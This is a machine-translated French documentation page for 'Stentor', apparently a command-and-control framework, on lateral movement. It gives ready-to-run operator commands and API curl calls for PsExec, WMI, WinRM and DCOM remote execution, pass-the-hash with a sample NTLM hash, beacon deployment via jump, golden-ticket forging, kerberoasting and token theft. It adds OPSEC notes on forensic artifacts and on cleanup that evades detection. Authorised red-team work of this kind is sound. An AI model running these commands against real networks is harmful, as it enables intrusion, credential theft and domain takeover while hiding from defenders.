Aller au contenu

Mouvement latéral

Le mouvement latéral dans Stentor utilise deux modèles de commandes : remote-exec pour exécuter des commandes sur des hôtes distants et jump pour déployer de nouvelles beacons. Cinq techniques de transport sont disponibles : PsExec (SMB), WMI (DCOM), WinRM, objets DCOM et Pass-the-Hash, chacune avec des exigences de protocole et des profils OPSEC différents.

sequenceDiagram
    participant A as Beacon A
    participant T as Target Host
    participant C as C2 Server

    A->>T: Lateral technique (SMB/WMI/WinRM/DCOM)
    T->>T: Execute payload (service/process/script)
    T->>C: New beacon callback
    Note over C: Beacon B now active on Target

ATTAQUE À ONGLET&CK

Le mouvement latéral correspond à T1021 - Services à distance et à ses sous-techniques. Pass-the-Hash est mappé à [T1550.002 - Utiliser un autre matériel d'authentification] (PHTOKEN_1).


Tableau de comparaison des mouvements latéraux

Technique Commande Protocole Port(s) Type d'identifiant Impact de l'OPSEC ATTAQUE À ONGLET&CK
PsExec remote-exec psexec SMB 445 Mot de passe / Jeton Élevé T1021.002
WMI remote-exec wmi DCOM/RPC 135 + dynamique Mot de passe / Jeton Moyen T1047
WinRM remote-exec winrm HTTP/HTTPS 5985/5986 Mot de passe / Jeton Moyen T1021.006
DCOM remote-exec dcom DCOM/RPC 135 + dynamique Mot de passe / Jeton Moyen T1021.003
Passez le hachage pth SMB 445 Hachage NTLM Moyen T1550.002
Sauter PsExec jump psexec SMB 445 Jeton actuel Élevé T1021.002
Sauter WinRM jump winrm HTTP 5985 Jeton actuel Moyen T1021.006

Commandes d'exécution à distance

Les commandes remote-exec exécutent une seule commande sur un hôte distant et renvoient la sortie. Ils ne déploient pas de nouvelle beacon — pour cela, utilisez jump.

psexec d'exécution à distance

Exécution de services de style PsExec via SMB (T1021.002). Se connecte au SCM de la cible via SMB (port 445), crée un service temporaire avec un nom aléatoire, exécute la commande, lit la sortie d'un canal nommé et nettoie.

beacon> remote-exec psexec 10.10.10.50 "whoami /all" admin P@ssw0rd DOMAIN
[*] Connecting to 10.10.10.50 via SMB...
[*] Service created: stentorsvc_a3f8b2c1
[*] Output:
    DOMAIN\admin
    ...
[*] Service deleted, cleanup complete
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "remote-exec psexec 10.10.10.50 \"whoami /all\" admin P@ssw0rd DOMAIN"}'

OPSEC

Artéfacts médico-légaux : Création du service Windows (ID d'événement 7045 – nom de service aléatoire stentorsvc_XXXX). Binaire du service téléchargé sur le partage ADMIN$ via SMB. Démarrage du service (ID d’événement 7036). Service supprimé après l'exécution mais les entrées du journal des événements persistent.

MITRE ATT&CK : T1021.002 — Services à distance : partages d'administrateur SMB/Windows

wmi d'exécution à distance

Exécution WMI via COM API (T1047). Se connecte à l'espace de noms WMI de la cible via DCOM (port 135 + RPC dynamique), crée un Win32_Process via IWbemServices::ExecMethod. Utilise l'API COM directe - ne génère pas wmic.exe.

beacon> remote-exec wmi 10.10.10.50 "ipconfig /all" admin P@ssw0rd DOMAIN
[*] Connecting to 10.10.10.50 via WMI (COM API)...
[*] Win32_Process.Create executed successfully (PID: 4832)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "remote-exec wmi 10.10.10.50 \"ipconfig /all\" admin P@ssw0rd DOMAIN"}'

OPSEC

Artéfacts médico-légaux : Activation de DCOM (ID d'événement Sysmon 20/21 – Consommation d'événements WMI). Trafic RPC sur le port 135 + ports dynamiques. Journaux d’événements WMI. Aucun processus enfant wmic.exe (COM direct).

MITRE ATT&CK : T1047 — Instrumentation de gestion Windows

Capture de sortie

WMI Win32_Process.Create ne renvoie pas directement la sortie de la commande. Pour la récupération de sortie, redirigez vers un fichier sur la cible et lisez-le via SMB, ou utilisez WinRM à la place.

winrm d'exécution à distance

Exécution WinRM via Windows Remote Shell (T1021.006). Se connecte au service WinRM de la cible (port 5985 HTTP ou 5986 HTTPS) et exécute la commande via le protocole Windows Remote Shell.

beacon> remote-exec winrm 10.10.10.50 "whoami /priv" admin P@ssw0rd DOMAIN
[*] Connecting to 10.10.10.50 via WinRM...
[*] Output:
    PRIVILEGES INFORMATION
    ...
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "remote-exec winrm 10.10.10.50 \"whoami /priv\" admin P@ssw0rd DOMAIN"}'

OPSEC

Artefacts médico-légaux : Événements de connexion WinRM (ID d'événement 91, 168). Trafic HTTP sur le port 5985 (ou HTTPS 5986). La journalisation des blocs de script PowerShell peut capturer des commandes.

MITRE ATT&CK : T1021.006 — Services à distance : gestion à distance de Windows

Idéal pour la sortie

WinRM renvoie nativement le résultat de la commande, ce qui en fait le meilleur choix lorsque vous avez besoin de voir les résultats. Il prend également en charge HTTPS (port 5986) pour le transport crypté.

dcom d'exécution à distance

Exécution basée sur DCOM via des objets COM (T1021.003). Utilise des objets COM comme ShellBrowserWindow ou MMC20.Application pour l'exécution de commandes à distance via DCOM (port 135 + RPC dynamique).

beacon> remote-exec dcom 10.10.10.50 "calc.exe" admin P@ssw0rd DOMAIN
[*] Connecting to 10.10.10.50 via DCOM...
[*] Process created via ShellBrowserWindow
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "remote-exec dcom 10.10.10.50 \"calc.exe\" admin P@ssw0rd DOMAIN"}'

OPSEC

Artefacts médico-légaux : Événements d'activation DCOM. Trafic RPC sur le port 135 + ports dynamiques. Journaux d’instanciation d’objet COM.

MITRE ATT&CK : T1021.003 — Services distants : modèle d'objet de composant distribué


Passez le hachage

pth

Authentifiez-vous auprès d'un hôte distant à l'aide d'un hachage NTLM au lieu d'un mot de passe en texte clair (T1550.002). Utilise SMB2 avec l'authentification basée sur le hachage NTLM via go-smb2 NTLMInitiator.

Format de hachage : LM:NT ou simplement NT (32 caractères hexadécimaux). Le hachage LM est ignoré dans Windows moderne — vous pouvez utiliser aad3b435b51404eeaad3b435b51404ee comme espace réservé.

beacon> pth 10.10.10.50 admin aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 "whoami" DOMAIN
[*] Authenticating to 10.10.10.50 via Pass-the-Hash (SMB2)...
[*] ADMIN$ share access verified
[*] Service created, executing command...
[*] Output: DOMAIN\admin
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "pth 10.10.10.50 admin aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 \"whoami\" DOMAIN"}'

OPSEC

Artefacts médico-légaux : Événements d'authentification NTLM (ID d'événement 4624, type de connexion 3 – Réseau). Établissement de session SMB. Mêmes artefacts de création de service que PsExec lors de l’exécution de commandes.

MITRE ATT&CK : T1550.002 — Utiliser un autre matériel d'authentification : transmettre le hachage

Sources de hachage

Les hachages NTLM peuvent être obtenus à partir de : hashdump (SAM local), logonpasswords (mémoire LSASS), dcsync (réplication de domaine) ou ntds_dump (base de données AD). Consultez la page Accès aux informations d'identification pour plus de détails.


Commandes de saut (déploiement de beacons)

Les commandes jump déploient une nouvelle beacon sur un hôte distant. Contrairement à remote-exec (qui exécute une commande et renvoie un résultat), jump génère un payload de beacon pour le listener spécifié et la transmet à la cible.

Authentification

Les commandes de saut utilisent le jeton d'emprunt d'identité actuel pour l'authentification. Définissez d'abord les informations d'identification à l'aide de make_token ou steal_token avant d'exécuter les commandes de saut. Consultez la page Élévation des privilèges pour plus de détails sur la manipulation des jetons.

sauter psexec

Déployez un beacon via la création du service PsExec (T1021.002). Génère un EXE de beacon x86 pour le listener spécifié, le télécharge sur le partage ADMIN$ de la cible via SMB, crée un service Windows pointant vers le binaire téléchargé et démarre le service.

beacon> jump psexec 10.10.10.50 https-listener
[*] Uploading beacon to \\10.10.10.50\ADMIN$\stentorsvc_7a2b.exe
[*] Service stentorsvc_7a2b created and started
[+] New beacon: DOMAIN\admin @ 10.10.10.50 (SYSTEM)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "jump psexec 10.10.10.50 https-listener"}'

OPSEC

Binaire du service téléchargé sur le partage ADMIN$. Événement de création de service (ID d'événement 7045). Le beacon s'exécute en tant que SYSTEM (contexte de service). Le service est nettoyé après la connexion du beacon.

sauter psexec64

Identique à jump psexec mais génère un payload de beacon x64. Utiliser sur des cibles 64 bits pour une exécution native.

beacon> jump psexec64 10.10.10.50 https-listener

sauter psexec_psh

Déployez le beacon via PsExec avec un PowerShell stager. Crée un service qui exécute powershell.exe avec un support de téléchargement de beacon codée au lieu de télécharger un binaire de service.

beacon> jump psexec_psh 10.10.10.50 https-listener

OPSEC

Génère powershell.exe sur l'hôte cible. La journalisation des blocs de script PowerShell et AMSI peuvent détecter le stager. Surface de détection plus élevée que les variantes de saut basées sur binaire. Utilisez jump psexec ou jump psexec64 dans des environnements surveillés.

sauter winrm

Déployez le beacon via WinRM (T1021.006). Génère un stager PowerShell et l'exécute sur la cible via WinRM.

beacon> jump winrm 10.10.10.50 https-listener
[*] Executing PowerShell stager via WinRM on 10.10.10.50
[+] New beacon: DOMAIN\admin @ 10.10.10.50

sauter winrm64

Identique à jump winrm mais génère un payload de beacon x64.

beacon> jump winrm64 10.10.10.50 https-listener

WinRM vs PsExec pour sauter

  • PsExec jump s'exécute en tant que SYSTEM (contexte de service) — utile pour un accès complet au système
  • WinRM jump s'exécute en tant qu'utilisateur authentifié – utile lorsque vous souhaitez conserver le contexte utilisateur
  • PsExec nécessite SMB (port 445) ; WinRM nécessite HTTP (port 5985) ou HTTPS (port 5986)

Passez le billet

Pass-the-Ticket (T1550.003) utilise des tickets Kerberos au lieu de mots de passe ou de hachages NTLM pour l'authentification. Les billets peuvent être falsifiés (or/argent/diamant) ou extraits de mémoire.

Flux de travail

  1. Obtenez un ticket Kerberos — Forgez avec golden_ticket, silver_ticket ou diamond_ticket (voir Accès aux informations d'identification), ou extrayez du LSASS avec logonpasswords
  2. Importez le ticket — Utilisez kerberos_ticket_use ou kerberos_ccache_use
  3. Déplacez-vous latéralement — Exécutez les commandes jump ou remote-exec, qui s'authentifieront à l'aide du ticket importé
# Forge a golden ticket
beacon> golden_ticket /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:e19ccf75ee54e06b06a5907af13cef42

# Import the ticket
beacon> kerberos_ticket_use /path/to/ticket.kirbi
[*] Kerberos ticket imported

# Move laterally using the ticket
beacon> jump psexec dc01.corp.local https-listener
[+] New beacon: CORP\Administrator @ DC01 (SYSTEM)
# Import ccache format (from Linux tools like impacket)
beacon> kerberos_ccache_use /path/to/ticket.ccache
[*] Kerberos ccache imported

Référence croisée

Pour plus de détails sur la falsification des tickets (golden_ticket, silver_ticket, diamond_ticket, sapphire_ticket), consultez la page Credential Access.


Gestion des informations d'identification

Les commandes de mouvement latéral acceptent les informations d'identification de quatre manières :

Méthode Comment définir Utilisé par
Mot de passe En ligne : remote-exec <method> <target> <cmd> <user> <pass> [domain] Commandes remote-exec
Hachage NTLM En ligne : pth <target> <user> <hash> <cmd> [domain] Commande pth
Jeton actuel Préréglé : make_token ou steal_token avant jump Commandes jump
Billet Kerberos Pré-importation : kerberos_ticket_use avant jump/remote-exec Toutes les commandes

Priorité des jetons

Si vous disposez d'un jeton d'usurpation d'identité actif (de make_token ou steal_token), il est prioritaire pour l'authentification réseau. Utilisez rev2self pour effacer l'usurpation d'identité avant d'utiliser les informations d'identification en ligne.


Nettoyage WMI

wmi_cleanup

Supprimez les abonnements aux événements WMI laissés par l’exécution basée sur WMI. Les abonnements aux événements WMI persistent jusqu’à ce qu’ils soient explicitement supprimés et peuvent servir d’indicateurs de compromission.

beacon> wmi_cleanup 10.10.10.50 SentorWMI_a3f8
[*] WMI event subscription 'SentorWMI_a3f8' removed from 10.10.10.50

Toujours nettoyer

Après avoir utilisé WMI pour le mouvement latéral, exécutez wmi_cleanup pour supprimer les abonnements aux événements. Les abonnements WMI persistants sont un vecteur de détection et un artefact de persistance courants.


Flux de travail des opérateurs

Flux de travail de pulvérisation des informations d'identification

Utilisez les hachages récoltés pour identifier l'accès administrateur, puis déployez un beacon :

# Dump local hashes
beacon> hashdump
[*] admin:1001:aad3b435...:e19ccf75ee54e06b06a5907af13cef42:::

# Verify admin access on target via PtH
beacon> pth 10.10.10.50 admin aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 "whoami" DOMAIN
[*] Output: DOMAIN\admin

# Deploy beacon
beacon> make_token DOMAIN\admin P@ssw0rd
beacon> jump psexec 10.10.10.50 https-listener
[+] New beacon on 10.10.10.50
beacon> rev2self

Mouvement latéral basé sur des jetons

Utilisez un jeton volé pour un mouvement latéral sans connaître les informations d'identification :

# Find a domain admin process
beacon> ps
[*] PID   PPID  Name            User
    1234  456   explorer.exe    DOMAIN\DomainAdmin

# Steal the token and move laterally
beacon> steal_token 1234
[*] Impersonating DOMAIN\DomainAdmin

beacon> jump winrm dc01.corp.local https-listener
[+] New beacon: DOMAIN\DomainAdmin @ DC01

beacon> rev2self

Mouvement latéral Kerberos

Kerberoastez un compte de service, crackez hors ligne, puis déplacez :

# Kerberoast to find crackable service accounts
beacon> kerberoast
[*] SPN: MSSQLSvc/sql01.corp.local - hash saved

# After offline cracking...
beacon> make_token DOMAIN\svc_sql CrackedP@ss
[*] Impersonating DOMAIN\svc_sql (network logon)

beacon> jump psexec sql01.corp.local https-listener
[+] New beacon on sql01.corp.local

beacon> rev2self

Mouvement latéral du ticket d'or

Forgez un TGT et utilisez-le pour un mouvement latéral sans restriction :

# Forge golden ticket (requires krbtgt hash from DCSync)
beacon> golden_ticket /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:e19ccf75...

# Import the forged ticket
beacon> kerberos_ticket_use ticket.kirbi

# Move to any host in the domain
beacon> jump psexec dc01.corp.local https-listener
[+] New beacon: CORP\Administrator @ DC01 (SYSTEM)

beacon> jump psexec fileserver.corp.local https-listener
[+] New beacon: CORP\Administrator @ FILESERVER (SYSTEM)